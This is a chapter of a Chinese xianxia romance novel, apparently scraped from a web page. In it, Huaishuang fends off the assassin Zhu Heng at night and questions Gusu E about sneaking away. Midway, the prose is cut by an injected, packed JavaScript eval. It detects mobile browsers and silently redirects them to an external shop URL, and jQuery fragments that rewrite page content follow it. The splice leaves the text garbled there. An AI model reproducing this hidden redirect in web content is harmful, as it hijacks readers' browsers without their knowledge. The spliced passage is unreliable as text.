浓浓黑夜里,槐霜看不清姑苏萼眉眼的细微表情,却能感受到他的呼吸乱了。
她心满意足,在另一边眼眸上亲了一下。
“姑苏萼。”
她心有笃定。
“你该教我写字了。”
槐霜的语气一如既往,姑苏萼却莫名听出了其他的味道。
说的好像她亲他,是为了哄他教她写字似的。
明明他……不用哄也可以为她做那些的。
槐霜顿了顿,又道。
“我们再折腾下去。”
“我真的没法忍住。”
想把他全部吃掉。
槐霜觉得自己的牙好像都变尖了,磨的痒痒。
姑苏萼耳畔一热,不敢问槐霜说的忍是在忍什么,脸红心跳想松开揽住槐霜的手,却又被她按住。
槐霜靠在姑苏萼胸膛,听着他清晰的心跳声,嘴角勾起淡笑。
她眼睫垂落弯弯闭着,仿佛梦到了什么美事。
“等一会儿。”
“一会儿就好。”
……
四四方方的高墙,拦不住隔岸传来的人声鼎沸,遮不住满天随风飘扬的灯火。
苏府后院,昏昏夜幕之中,一抹深色与周遭草木混为一体,暗而浓沉。
桑榆坐在石凳上,墨绿绸带半绾,青丝自然垂落。他仰面看去,眼底倒映点点火光明亮,却照不亮深处的黑。
须臾之间,桑榆倏尔垂眼,抬腕为自己斟酒,姿态行云流水,说不出的落拓恣意。
要不是师尊挂心,他才不来找姑苏萼。堂堂凌霄东都威名显赫的剑宗仙尊,仅次于六位世尊之下的第七人,能出什么事?
一时半会寻不到人,桑榆丝毫不急。
想着这一趟也不能白来,给自家温泉山庄又揽一波客。
潭城之富庶,竟不逊色于东都。桑榆心生感慨,他的温泉山庄又可以修缮一番,再扩充点田亩,建一个仙子芳居,岂不美哉?
几杯酒下肚,桑榆凉薄眉眼,揉进些许温意。
长夜漫漫,转眼之间,月上树梢。隔岸的鼎沸人声,不知何时一扫而空。
桑榆抱着酒坛子,喝了个痛快,醉醺醺倒回床上。
猝不及防,一则千里传音钻进他的耳中。
是姑苏萼,问及他和绯晚。
霎时间,桑榆惊坐起。
绯晚。
再熟悉不过的两个字却远到像是上辈子的事情。不知何时起,姑苏萼便和他默契地逃避了绯晚的离开,只当作什么也没发生过。
但他们彼此明白,不一样的;
终究还是不一样。
而现在……姑苏萼怎么敢如此轻描淡写提起绯晚?
轰然一声重响。桑榆将身侧酒坛猛地摔在地上。
——你是疯了么?姑苏萼!!
桑榆眼底醉意一扫而空,清明之间翻涌怒意。
他抄起本命剑,腾云直奔传音来处,竟是空无一人的鸢山。
月色之中。
寒风呼啸而过。
枝叶婆娑,一阵舞动。
林野深丛之间,满地枯枝杂草,被急匆匆踏出一条小道。
祝衡捂住自己的胸口,嘴角溢出鲜血,满口铁锈味。
他浑身力竭,使不出半点符法,踉跄扶住身侧枝繁叶茂的古树。勉强稳住了脚步,祝衡又喷出一口鲜血,直直昏倒在半山腰。
山巅之上。
合欢宗内,更是一片血红。
……
一刻钟之前,鸢山仍是一片静谧祥和。
得了兮青青的提醒,槐霜早已设下重重机关,连带着兰仙之前藏于暗中的好东西,足够来人喝一壶了。
果不其然,今日从灯会回来,槐霜瞥见机关有一处异样。
当下,槐霜便明白,定是有人来过了。
槐霜不动声色同姑苏萼进了寝殿。
一室烛火点起,亮了又暗。
待姑苏萼熟睡之后,槐霜偷偷摸摸回到宗门之外。
参天古树上,果然吊着一个人。
槐霜鼻尖轻嗅。
闻这药量,估计还得昏个一时半会儿。
槐霜转头去别处机关陷阱瞅了一圈,几乎都有人。揣着小小的惊讶,槐霜连拖带拽把人叠在一起,把他们丢到山坑里。
完毕,槐霜满意地拍拍手。
再度回到合欢宗,却不料在宗门外撞见一个可疑的男人。
对上视线,祝衡倍感意外。
前几日,事发突发,才叫槐霜逃过一劫。
这一回,他特意拿出重金,招揽一批身手不凡的英雄好汉,在山下等候良久。谁知半天过去,一点动静没有。
眼看夜色渐深,祝衡揣着疑虑,进了鸢山。
一番弯弯绕绕,再加上前人探路,祝衡竟歪打正着躲过了机关,寻到了槐霜。
槐霜微微眯眼,瞬时想起眼前这张面孔她曾经见过。
当时他还往她身上丢了一把火来着。
肯定不是什么好人。
迎着槐霜紧凝不松的视线,又想到她一身灵力了得,祝衡警惕起来。
曾经,他和兰仙没谈拢,不久便见到了槐霜。祝衡对兰仙不算了解,以为眼前之人便是兰仙。
交手之际,念在祝越在兰仙身边,祝衡这才没下死手,留了对方一条命。
如今再见,平静的对视仿佛成了紧绷到极点的琴弦,夜风吹过,犹如弹奏一曲诡谲的乐章。
槐霜一动不动,兀然出声道:“你是来找我的?”
她顿了顿,又道:“还是来杀我的?”
见槐霜暂时没有动手的意图,祝衡敛去眼底情绪,深邃眉目堆出一弯假笑。
“上次的事,或许有误会。”
“我认错了人。”
槐霜略一思索:“认错?你以为我是兰仙?”
“没错。”祝衡语气平坦,似乎在同朋友闲聊,而非面对一个凶手,“吾弟祝越之死,让我失了理智。”
槐霜皱起眉:“祝越死了?”
两人隔得不远不近,三五丈的距离,祝衡听出槐霜的惊讶。他眸光渐深,意味不明开口问道。
“你不知?他死相可怖,白发尸枯。”
祝衡补充道:“还有兰仙。”
白发?槐霜神情迟钝,恍惚间忽而想起那日周遭的场景环境。
似乎……
确实有两个白头发的躺在角落。
祝衡见槐霜沉默不语,缓步走上前。
手中的寂杀银针藏于袖口。
针尖上淬的迷药,可以让猛虎瞬间倒下。
祝衡试探性幽幽道:“事发时,你也在哪儿,可知是何人所为?”
槐霜自然不知。
当时她浑身疼得厉害,几度晕厥过去。
再睁眼,便是一个黑衣人朝她伸出手,探她鼻息。
但……槐霜忽然明白了什么。
她猛地抬眸看向祝衡,视线锋利震得祝衡下意识停住脚步。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815462|211040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“兰仙和祝越死了,我没死。”
“你觉得是我干的?”
槐霜语速极快,最后一句说的斩钉截铁。
“你是来杀我的。”
槐霜话音落下的刹那,祝衡自知来意暴露。
他眼底一寒,反手猛然甩出掌中银针。
距离极短、速度极快,槐霜有些避之不及。
身体却仿佛快过时间,不受控制自有主张。
后背发麻的危机感犹如野兽的第三只眼,刺激得她眼前一切流速无限变慢。
刹那间,槐霜竟然迎面直冲向祝衡,丹田之中爆发出一阵磅礴灵力,硬生生折碎了穿刺风声的银针。
祝衡骤然被掀翻在地,胸口吐出一口鲜血。
槐霜身量纤挑,立在他身前却如同无法撼动的南墙。是她又不是她。
她眼底的光迸出璀璨的亮,轻轻一抬手,涌动的灵力便牢牢掐住祝衡的脖子,将他整个人悬浮提到半空之中。
比窒息濒死还要可怕的是,祝衡能感知到,自己一身的修为灵力,竟然疯狂从身体里不断流失。
“槐霜!”
熟悉的声线蓦然响起,槐霜一震,松了手。
祝衡重重摔在地上。
月夜之中惊起一阵扬散的尘埃烟灰。
槐霜转过身,看向姑苏萼。
祝衡顾不上喘气,趁机逃窜而走。
望见熟悉的面庞,槐霜眼眸之中灿白到异样的光芒稍有消退。
周遭漩涡般的狂风倏尔停歇,仿佛一直安静。
恍惚眨了下眼,意识到自己险些在姑苏萼眼前杀了人,槐霜蓦然有些无措。
她微垂下眼睫,正努力地想着怎么解释,忽地发觉姑苏萼……似乎不太对。
他不是从正门来的,而是绕过后院花圃,翻墙出来的。
槐霜借着月色,看清了姑苏萼鞋头的淤泥。
前几日大雨骤降。
恰逢昨日天色大好,又把七七八八的地面都晒了个干净。
只有花圃外靠墙的一条小水沟,才会有淤泥。
“那人是谁?”
姑苏萼望着祝衡踉踉跄跄远去的背影,不解道:“发生了什么?你们为何打斗?难道他就是祝越?”
槐霜沉默半晌。
在姑苏萼焦急注视下,她不答反问,缓慢道:“这么晚,你是要去哪儿?”
当然是跑路。
姑苏萼此前定下的半月之期已到。
他刚刚给桑榆传了口信,如今不能再留下,以免自己厄命之身给槐霜招来祸患。
不过,看槐霜刚刚那副身手,好像也不需要他太担心。
姑苏萼心里想了些有的没的,嘴上却说不出话。
要是让槐霜知道,他之前说留下来之类的话,只是临时糊弄她,肯定要大发脾气。
莫名心虚。姑苏萼清了清嗓子,佯装随意开口道:“闲逛而已。”
“逛好了?”槐霜不等回应,自顾自伸出手,“回来吧。”
不知为何,姑苏萼感觉槐霜的平静语气,透着说不出的诡异。
像是风雨欲来的征兆。
他不惧神,不畏鬼,不怕妖。此时此刻,却不知为何有点发怵。
姑苏萼竭力抛掉身体里那点奇怪的不适感,继续道。
“我今日想去看看日出,等会儿再回。”
槐霜面无表情朝他走过去。
一步两步。
踩中姑苏萼心跳的节拍。